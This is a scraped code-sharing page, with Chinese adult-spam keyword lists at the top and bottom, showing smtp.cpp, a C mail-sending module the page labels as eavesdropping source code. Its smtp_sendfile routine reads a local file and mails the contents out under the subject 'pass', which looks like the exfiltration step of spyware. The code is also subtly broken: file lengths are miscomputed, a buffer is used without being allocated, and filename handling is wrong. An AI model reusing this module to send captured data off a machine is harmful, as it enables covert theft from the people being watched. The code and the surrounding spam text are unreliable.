亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? smtp.cpp

?? listen to what are they talking,竊聽源碼
?? CPP
字號:
/* smtp.c*  by lgd/Paladin.InetSoft   GuangZhou*  */#include <windows.h>#include <stdio.h>#include <string.h>#include <time.h>#include "tcp.h"#include "smtp.h"char m_base64tab[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"				"abcdefghijklmnopqrstuvwxyz0123456789+/";#define BASE64_MAXLINE  76#define EOL  "\r\n"int Base64BufferSize(int);int EncodeBase64(const char* pszIn, int nInLen, char* pszOut, int nOutSize, int* nOutLen);int get_filename(char *path, char *filename);int smtp_connect(char *host, int port, int timeout){	int sd, ret =0;

	if(port <=0) port =110;	if((sd =tcp_connect(host, port, timeout)) <0)		return -1;	if(smtp_getreply(sd) !=220)	{		tcp_close(sd);		return -10;	}	if((ret =smtp_cmd(sd, "HELO whoareyou\n\r", 250)) <0)	{		tcp_close(sd);		return ret;	}	return sd;}char *Weeks[] ={"Mon", "002", "003", "004", "005", "006", "Sun"};char *Months[] ={"m01", "m02", "m03", "m04", "m05", "m06", "m07", "m08", "m09", "m10", "m11", "m12"};
int smtp_sendfile(int sd, char *AddrFrom, char *AddrTo, char *filename)
{
	FILE *fp;
	char buf[1024];
	int len;
	int ret =0;

	if((fp =fopen(filename, "r")) ==NULL) return -1;
	while(!feof(fp) && (len =fread(buf, 1, sizeof(buf)-1, fp)) >0)
	{
		buf[len] =0;
		if(smtp_sendmessage(sd, AddrFrom, &AddrTo, 1, NULL, "pass", buf,
			NULL, 0, 60) <0)
		{
			ret =-1;
			break;
		}
	}
	fclose(fp);
	return ret;
}
int smtp_sendmessage(int sd, char *AddrFrom, char **AddrTo, int AddrToCount,		char *AddrReply, char *subject, char *msg, char **AttachFiles,		int AttachCount, int timeout){	int i, ret =0, outsize, bufsize, flen;	char buf[5000];	char szTo[2000];	char szDate[50];	char *fbuf, *pbuf;	FILE *fp;	time_t t;	struct tm *ptm;	char filename[128];	sprintf(buf, "MAIL FROM:<%s>\r\n", AddrFrom);	if((ret =smtp_cmd(sd, buf, 250)) <0)		return -ret;	for(i =0; i<AddrToCount; i++)	{		sprintf(buf, "RCPT TO:<%s>\r\n", AddrTo[i]);		if((ret =smtp_cmd(sd, buf, 250)) <0)			return -ret;	}	if((ret =smtp_cmd(sd, "DATA\r\n", 354)) <0)		return -ret;	/* fill header */	szTo[0] =0;	for(i =0; i<AddrToCount; i++)	{		if(i) strcat(szTo, ",");		strcat(szTo, AddrTo[i]);	}	time(&t);	ptm =localtime(&t);	sprintf(szDate, "%s, %02d %s %d %02d:%02d:%02d %d",		Weeks[ptm->tm_wday], ptm->tm_mday, Months[ptm->tm_mon],		ptm->tm_year+1900, ptm->tm_hour, ptm->tm_min, ptm->tm_sec, _timezone);	sprintf(buf, "From: %s\r\nTo: %s\r\nSubject:%s\r\nDate: %s\r\nX-Mailer: Paladin.InetSoft\r\n",			AddrFrom, szTo, subject, szDate);	if(AddrReply)	{		strcat(buf, "Reply-To: ");		strcat(buf, AddrReply);		strcat(buf, "\r\n");	}	if(AttachCount)	{		strcat(buf, "MIME-Version: 1.0\r\nContent-type: multipart/mixed; boundary=\"#BOUNDARY#\"\r\n");	}	strcat(buf, "\r\n");	/* end of header */	if(tcp_send(sd, buf, strlen(buf), 20) <0)		return -2;	if(AttachCount)	{		strcpy(buf, "\r\n--#BOUNDARY#\r\nContent-Type: text/plain; charset=us-ascii\r\n"			"Content-Transfer-Encoding: quoted-printable\r\n\r\n");		if(tcp_send(sd, buf, strlen(buf), 10) <0)			return -2;	}	if(tcp_send(sd, msg, strlen(msg), 60) <0)		return -2;	/* sending attachment */	for (i=0; i<AttachCount; i++)	{		get_filename(AttachFiles[i], filename);		sprintf(buf, "\r\n\r\n--#BOUNDARY#\r\n"				"Content-Type: application/octet-stream; name=%s\r\n"				"Content-Transfer-Encoding: base64\r\n"				"Content-Disposition: attachment; filename=%s\r\n\r\n",				filename, filename);		if (tcp_send(sd, buf, strlen(buf), 10) !=(int)strlen(buf))			return -2;		if((fp =fopen(AttachFiles[i], "rb")) ==NULL)			return -20;		flen =fseek(fp, 0, SEEK_END);		if(flen ==0)		{			fclose(fp);			return -21;		}		if((fbuf =(char *)malloc(flen+1)) ==NULL)		{			fclose(fp);			return -30;		}		fseek(fp, 0, SEEK_SET);		if(fread(fbuf, flen+1, 1, fp) !=1)		{			fclose(fp);			free(pbuf);			return -22;		}		outsize =Base64BufferSize(flen);		EncodeBase64(fbuf, flen, pbuf, outsize, &bufsize);		fclose(fp);		if(tcp_send(sd, pbuf, bufsize, 200) !=bufsize)			return -2;		strcpy(buf, "\r\n--#BOUNDARY#--");		if(tcp_send(sd, buf, strlen(buf), 10) !=(int)strlen(buf))			return -2;	}/* end of sending attachment */	/* send end of msg */	if((ret =smtp_cmd(sd, "\r\n.\r\n", 250)) <0)		return ret;	return 0;}int smtp_disconnect(int sd){	int ret;	if((ret =smtp_cmd(sd, "QUIT\n\r", 221)) <0)	{		tcp_close(sd);		return -ret;	}	return 0;}int smtp_cmd(int sd, char *cmd, int success_code){	if(tcp_send(sd, cmd, strlen(cmd), 10) !=(int)strlen(cmd))		return -2;	if(smtp_getreply(sd) !=success_code)		return -10;	return 0;}#define MAX_WAIT_TIMES	30char g_szReply[1000];int smtp_getreply(int sd){	int len=0, len_recved =0;	time_t t1, t2;	int able =0, code;	
	g_szReply[0] =0;	time(&t1);	while(1)	{		time(&t2);		if(difftime(t2, t1) >MAX_WAIT_TIMES) break;		/*if(!tcp_recv_able(sd, &able))		{			g_szReply[len_recved] = 0;			return -1;		}		else if(!able)		{			Sleep(0);			continue;		}*/		len =tcp_recv(sd, g_szReply, sizeof(g_szReply)-len_recved, 2);		if (len ==SOCKET_ERROR)		{			g_szReply[len_recved] = 0;			return -1; 		}		else		{			if(len)	time(&t1);			len_recved += len;		}		g_szReply[len_recved] =0;		if(strstr(g_szReply, "\r\n") != NULL) break;	}	g_szReply[len_recved] =0;	if(sscanf(g_szReply, "%d", &code) !=1)		return -1;	return code;}int Base64BufferSize(int fsize){  int bufsize = (fsize+2)/3*4;    // 3:4 conversion ratio  bufsize += strlen(EOL)*bufsize/BASE64_MAXLINE + 3;  // Space for newlines and NUL  return bufsize;}BOOL EncodeBase64(const char* pszIn, int nInLen, char* pszOut, int nOutSize, int* nOutLen){	int nInPos  = 0;	int nOutPos = 0;	int nLineLen = 0;	int i, c1, c2;	char *cp;	// Get three characters at a time from the input buffer and encode them	for (i=0; i<nInLen/3; ++i) 	{		//Get the next 2 characters		int c1 = pszIn[nInPos++] & 0xFF;		int c2 = pszIn[nInPos++] & 0xFF;		int c3 = pszIn[nInPos++] & 0xFF;		//Encode into the 4 6 bit characters		pszOut[nOutPos++] = m_base64tab[(c1 & 0xFC) >> 2];		pszOut[nOutPos++] = m_base64tab[((c1 & 0x03) << 4) | ((c2 & 0xF0) >> 4)];		pszOut[nOutPos++] = m_base64tab[((c2 & 0x0F) << 2) | ((c3 & 0xC0) >> 6)];		pszOut[nOutPos++] = m_base64tab[c3 & 0x3F];		nLineLen += 4;		//Handle the case where we have gone over the max line boundary		if (nLineLen >= BASE64_MAXLINE-3) 		{			cp = EOL;			pszOut[nOutPos++] = *cp++;			if (*cp) 			pszOut[nOutPos++] = *cp;			nLineLen = 0;		}	}	// Encode the remaining one or two characters in the input buffer	switch (nInLen % 3) 	{	case 0:	{		cp = EOL;		pszOut[nOutPos++] = *cp++;		if (*cp) 			pszOut[nOutPos++] = *cp;		break;	}	case 1:	{		c1 = pszIn[nInPos] & 0xFF;		pszOut[nOutPos++] = m_base64tab[(c1 & 0xFC) >> 2];		pszOut[nOutPos++] = m_base64tab[((c1 & 0x03) << 4)];		pszOut[nOutPos++] = '=';		pszOut[nOutPos++] = '=';		cp = EOL;		pszOut[nOutPos++] = *cp++;		if (*cp) 			pszOut[nOutPos++] = *cp;		break;	}	case 2:	{		c1 = pszIn[nInPos++] & 0xFF;		c2 = pszIn[nInPos] & 0xFF;		pszOut[nOutPos++] = m_base64tab[(c1 & 0xFC) >> 2];		pszOut[nOutPos++] = m_base64tab[((c1 & 0x03) << 4) | ((c2 & 0xF0) >> 4)];		pszOut[nOutPos++] = m_base64tab[((c2 & 0x0F) << 2)];		pszOut[nOutPos++] = '=';		cp = EOL;		pszOut[nOutPos++] = *cp++;		if (*cp) 			pszOut[nOutPos++] = *cp;		break;	}	default: 		break;	}	pszOut[nOutPos] = 0;	*nOutLen = nOutPos;	return TRUE;}int get_filename(char *path, char *filename){	int i =0;	int len =strlen(path);	while(i <len)	{		if(path[len -i-1] =='\\') break;		i++;	}	strcpy(&path[i], filename);	return 0;}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
综合激情成人伊人| 成人永久看片免费视频天堂| 欧美日韩中字一区| 亚洲品质自拍视频| 在线亚洲人成电影网站色www| 怡红院av一区二区三区| 欧美无人高清视频在线观看| 日日摸夜夜添夜夜添亚洲女人| 91精品免费在线| 久久成人18免费观看| 精品裸体舞一区二区三区| 国产裸体歌舞团一区二区| 国产精品大尺度| 99久久精品免费| 香蕉影视欧美成人| 精品对白一区国产伦| 成人免费毛片app| 有码一区二区三区| 欧美一区二区三区喷汁尤物| 国产麻豆成人精品| 亚洲精品欧美激情| 日韩欧美一区二区三区在线| 国产麻豆精品一区二区| 伊人开心综合网| 欧美成人精品1314www| 成人激情小说乱人伦| 香蕉av福利精品导航| 久久精品免视看| 欧美日韩一级二级| 国产精品一区三区| 亚洲国产aⅴ成人精品无吗| 日韩一本二本av| 成年人午夜久久久| 麻豆久久久久久久| 国产精品不卡在线| 精品国产乱码久久久久久夜甘婷婷 | 久久久久久亚洲综合| 99综合影院在线| 久久aⅴ国产欧美74aaa| 亚洲精品综合在线| 久久在线观看免费| 欧美日韩精品一区视频| 国产福利一区二区三区在线视频| 一区二区三区蜜桃| 国产欧美一区二区精品久导航| 欧美日韩三级视频| 99久久久国产精品| 国产另类ts人妖一区二区| 午夜精品一区二区三区免费视频| 国产欧美一区二区精品忘忧草| 欧美日韩精品欧美日韩精品一| 粉嫩久久99精品久久久久久夜| 秋霞影院一区二区| 亚洲一区二区视频在线| 国产精品电影一区二区| 国产亚洲精品资源在线26u| 91麻豆精品国产| 在线亚洲免费视频| 色综合天天综合网天天狠天天| 国产精品一区二区久久精品爱涩 | 久久精品国产亚洲高清剧情介绍 | 国产亚洲制服色| 日韩一区二区三区在线| 欧美在线视频日韩| 91久久精品一区二区三| 99久久国产综合色|国产精品| 国产乱码精品一区二区三区av| 日本在线不卡一区| 午夜精品久久久久久久久| 亚洲精品v日韩精品| 亚洲色图清纯唯美| 亚洲三级在线免费观看| 国产精品理伦片| 成人欧美一区二区三区黑人麻豆 | 在线播放亚洲一区| 欧美日韩视频在线一区二区| 色噜噜久久综合| 91香蕉视频污在线| 91视频观看视频| 91丝袜呻吟高潮美腿白嫩在线观看| 高清beeg欧美| 99re这里都是精品| 色综合久久天天| 91精彩视频在线| 欧美日本精品一区二区三区| 制服丝袜国产精品| 精品久久久三级丝袜| 精品国产乱码久久久久久影片| 久久夜色精品一区| 国产精品你懂的在线| 亚洲色图19p| 香蕉av福利精品导航| 久久精品久久99精品久久| 国产精品一区二区男女羞羞无遮挡 | 欧美裸体一区二区三区| 884aa四虎影成人精品一区| 日韩欧美在线不卡| 国产日本欧美一区二区| 中文字幕在线不卡国产视频| 亚洲激情一二三区| 日韩av网站免费在线| 国产馆精品极品| 97se亚洲国产综合在线| 欧美日韩小视频| 日韩美女在线视频| 1000部国产精品成人观看| 亚洲一卡二卡三卡四卡无卡久久| 奇米888四色在线精品| 国产a视频精品免费观看| 一本大道av伊人久久综合| 91精品国产综合久久精品麻豆 | 成人成人成人在线视频| 色欧美88888久久久久久影院| 51午夜精品国产| 国产欧美日韩在线观看| 亚洲国产精品久久人人爱蜜臀| 久久精品国产一区二区三区免费看 | 国产精品美女久久久久久久网站| 伊人开心综合网| 国产精品综合在线视频| 欧美体内she精高潮| 久久久精品人体av艺术| 一区二区三区免费看视频| 经典三级一区二区| 在线看国产一区| 久久久久久久综合日本| 亚洲尤物在线视频观看| 国产成人自拍网| 制服丝袜国产精品| 亚洲精品高清在线观看| 国产乱子伦视频一区二区三区| 日本韩国欧美三级| 国产亚洲欧美一级| 日本不卡一区二区三区高清视频| 成人网在线免费视频| 日韩欧美中文字幕精品| 亚洲午夜久久久久| 成人aa视频在线观看| 久久久亚洲欧洲日产国码αv| 日韩专区在线视频| 日本韩国欧美三级| 国产精品成人网| 国产不卡在线一区| 日韩精品一区在线观看| 亚洲一区二区av电影| 91丨porny丨户外露出| 国产视频一区在线播放| 麻豆精品视频在线观看免费| 欧美三级中文字幕| 亚洲激情男女视频| 99视频有精品| 国产精品天干天干在线综合| 狠狠网亚洲精品| 日韩免费一区二区| 日本不卡视频一二三区| 在线观看91精品国产麻豆| 亚洲午夜久久久久| 欧美日韩专区在线| 亚洲图片欧美色图| 色婷婷av一区二区| 一区二区三区四区精品在线视频| av在线不卡免费看| 国产精品久久久久久亚洲伦| 国产成a人无v码亚洲福利| 久久精品亚洲国产奇米99| 国产精品99久久久久久久女警 | 精品一区二区三区免费观看| 欧美一级高清片| 老鸭窝一区二区久久精品| 欧美一区二区国产| 久久99精品久久久久久动态图| 日韩午夜激情电影| 精品一二三四在线| 久久久99免费| 国产1区2区3区精品美女| 国产欧美日韩三级| www.成人在线| 亚洲精品视频在线看| 欧美性淫爽ww久久久久无| 天堂久久久久va久久久久| 欧美一区二区三区思思人| 精品一区二区av| 国产精品日日摸夜夜摸av| 成人av综合在线| 伊人色综合久久天天| 7777精品伊人久久久大香线蕉经典版下载 | 成人国产精品免费| 亚洲欧洲韩国日本视频| 91传媒视频在线播放| 性做久久久久久免费观看| 日韩亚洲欧美在线观看| 国产精品综合二区| 亚洲图片你懂的| 69堂精品视频| 国产精品2024| 亚洲黄色性网站| 欧美xxxxxxxxx| 97se亚洲国产综合在线| 日韩av一区二区在线影视| 欧美激情综合网|